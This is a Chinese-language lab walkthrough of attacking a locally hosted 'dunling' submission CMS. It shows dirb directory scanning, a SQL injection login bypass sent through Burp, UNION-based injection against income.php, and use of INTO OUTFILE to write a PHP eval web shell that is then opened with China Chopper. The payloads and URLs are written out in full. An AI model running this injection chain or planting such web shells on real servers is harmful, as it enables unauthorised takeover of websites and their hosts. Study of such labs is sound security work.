环境
Windows Server 2008(虚拟机) 安装phpStudy,安装dunling
盾灵投稿系统
dunling是一个CMS在线内容管理器
dirb是Kali内置的一个基于字典的Web目录扫描工具,用来爆破目录的
假设已经知道管理员的登陆用户名是admin
实验演示
①在Windows Server 2008中安装phpStudy,关闭防火墙
下载盾灵源码,将盾灵文件夹放在phpstudy下:C:\phpStudy\PHPTutorial\WWW
看一下Windows Server的IP,是192.168.244.200
看一下本机ip,192.168.1.102
ping一下,看是否能ping通
ok可以ping通
这样,在本机访问192.168.244.200
这样访问会直接访问WinServer的C:\phpStudy\PHPTutorial\WWW 文件夹
有一个默认的index来输出“Hello World”
我们访问 http://192.168.244.200/dunling/, 就可以看到盾灵原创投稿系统的这个页面了
然后我们对这台服务器进行目录爆破
dirb http://192.168.244.200
前面带加号的表示它在尝试这些目录
没发现什么很有价值的信息
再对dunling目录进行爆破
dirb http://192.168.244.200/dunling
看到有一个admin目录,进去看一下
进去是这个,判断它应该就是网站的后台管理员登陆页面
然后尝试看这个页面有没有注入点(我们假设的是已经知道了登录用户名是admin,不然这个实验不好做)
存在注入点的页面,举个例子,它的源码是这样的,就是把我们输入的用户名和密码直接带入到这里面来
当我们知道了正确的用户名的时候,在输入用户名的时候给他闭合单引号然后把后面的注释掉,就可以登录进去了
在这里输入admin之后想再输入’ 却输入不进去
看源码发现他这有一个对符号的过滤
那就上burp吧-_-
打开burp发现爆了个提示8080端口被占用了,然后进到proxy中的options发现running勾选不了
我们进到命令行,查找一下占用8080端口的程序
netstat -nao |findstr "8080"
然后进到任务管理器,将PID为7192的进程杀掉
之后就发现可以勾选了
然后打开浏览器的FoxyProxy插件,启动它
burp的作用是拦截所有从本机通过8080端口进出的数据包
foxyproxy的作用是让浏览器产生的数据都通过8080端口流出
这样在浏览器上再访问页面时,就会自动跳转到burp,然后浏览器是显示等待访问网站的应答,而burp就是捕获到这个数据包
在burp里我们就可以在admin后面添加我们想进行sql注入的内容了(之前在页面上提交不了因为页面有过滤)
这里构造
admin'or 1=1 --+
然后Forward进行转发(如果1次不成功,多点几次,或者之间点击Intercept is on 给关掉,这样就绝对转发过去了)
然后浏览器的页面就变成这样了,就可以进去了
现在我们进入到了后台,我们的目的是拿到它服务器主机的权限
Sql注入手工三部曲
①逻辑判断是否存在注入点
②判断字段值
③注入
我们来到会员管理
我们在账号里输入一个1,然后点搜索。
看页面的返回形式判断可能有注入点
192.168.244.200/dunling/admin/income.php?t=uid&jq=1
(注意这里判断有注入点必须搜的是存在的账号,这里我们之前看到只有1个UID为1的,所以只能是1。因为只有它正确得搜出来了你才能判断有注入点,如果是一个不存在的账号,和那些一样,你根本不能判断有没有注入点,都是被他拒绝了。就是必须得返回true的时候才能确定这里有注入点)
接下来确定它的字段值,就是找它到底有多少个
sql注入的格式order by
192.168.244.200/dunling/admin/income.php?t=uid&jq=1' order by 1 --+
下面分别是成功的场景和失败的场景
所以使用二分法的思想,来确定它的字段值个数
确定出来它总共有22个,到了order by 23就不行了
然后来进行联合查询,把22个字段值都查询出来
192.168.244.200/dunling/admin/income.php?t=uid&jq=1' union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 --+
然后在这里我们可以进行一些其他的操作
database()是显示数据库名
这里将2替换成database(),在之前2的位置就会是运行database()的结果
,
@@datadir 当前绝对路径
注意之前显示的是,1,2,9,所以只能在这3个地方改变
select into outfile 将select后面的内容都写进文件里(写在对方的主机上)
192.168.244.200/dunling/admin/income.php?t=uid&jq=1' union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 into outfile 'C:\\text.txt' --+
(注意路径要加单引号)
这样在对方的C盘下就出现了一个text文件
但是文件内容有点怪,前面是一些我不太明白,莫名奇妙出现的内容,从后面开始才是我们写入的1,2,3,...,22
我们想控制对方主机,想采用的方法就是给对方电脑里写个一句话木马,然后用菜刀去连接
一句话木马:
<?php @eval($_POST[cmd])?>
(eval是执行前端传输过来的命令。@是错误回显,不加也能执行,只不过不能回显错误了
以POST方式接受命令,cmd是变量名,具体的cmd值是我们后面用菜刀传进去的)
这次这个木马要写到对方主机的WWW目录下,新建一个文件,就叫text.php吧
注意如果是从电脑里直接复制过来文件夹的目录,是单斜杠\,是不行的,必须要双斜杠\\
(Windows是\\, Unix,Linux是//)
192.168.244.200/dunling/admin/income.php?t=uid&jq=1' union all select '<?php @eval($_POST[cmd])?>',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 into outfile 'C:\\phpStudy\\PHPTutorial\\WWW\\test.php' --+
(注意一句话木马要加‘’)
(如果路径是这种 http://192.168.244.200/dunling/admin/income.php?t=uid&jq=1%27%20union%20all%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22%20into%20outfile%20%27C:\\text.txt%27%20--+ 是经过url编码了的)
%20是空格
%27是'
执行之后在对方主机的WWW目录下就出现了一个text.php文件
可以看到一句话木马已经写进去了
php文件只会/解析执行php语句,里面的非php语句不会管
这样,我们来执行这个text.php文件或者用菜刀连接它,就可以利用文件里的一句话木马来进行相关操作了
我们打开菜刀
连接路径要直接写到test.php文件,然后后面写上cmd字段值(菜刀就是利用cmd这个变量让对方一句话木马执行然后拿到shell了)
成功连接